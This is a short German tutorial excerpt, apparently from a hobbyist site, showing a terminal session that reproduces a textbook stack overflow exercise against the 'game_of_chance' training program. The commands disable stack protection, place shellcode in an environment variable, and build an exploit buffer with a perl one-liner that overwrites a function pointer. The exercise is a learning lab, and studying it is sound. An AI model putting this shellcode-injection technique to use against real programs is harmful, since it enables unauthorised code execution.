root@toshiba:/home/tomovic/hack# gcc -g -fno-stack-protector -z execstack -o game_of_chance game_of_chance.c
game_of_chance.c: In Funktion »play_the_game«:
game_of_chance.c:258:7: Warnung: Format »%x« erwartet Argumenttyp »unsigned int«, aber Argument 2 hat Typ »int (*)()« [-Wformat]
root@toshiba:/home/tomovic/hack#
root@toshiba:/home/tomovic/hack#
root@toshiba:/home/tomovic/hack# export SHELLCODE=$(cat ./shellcode.bin)
root@toshiba:/home/tomovic/hack# ./getenvaddr SHELLCODE ./game_of_chance
SHELLCODE will be at 0xbffff8da
root@toshiba:/home/tomovic/hack# perl -e 'print "1\n7\nn\n5\n" . "A"x100 . "\xda\xf8\xff\xbf\n" . "1\n"' > exploit_buffer
…....

Ihr solltet auf das gleiche Ergebnis kommen wie im Buch. Der einzigste Unterschied ist, dass ihr ein paar andere Adressen habt.

   

Forensik  

   
© ALLROUNDER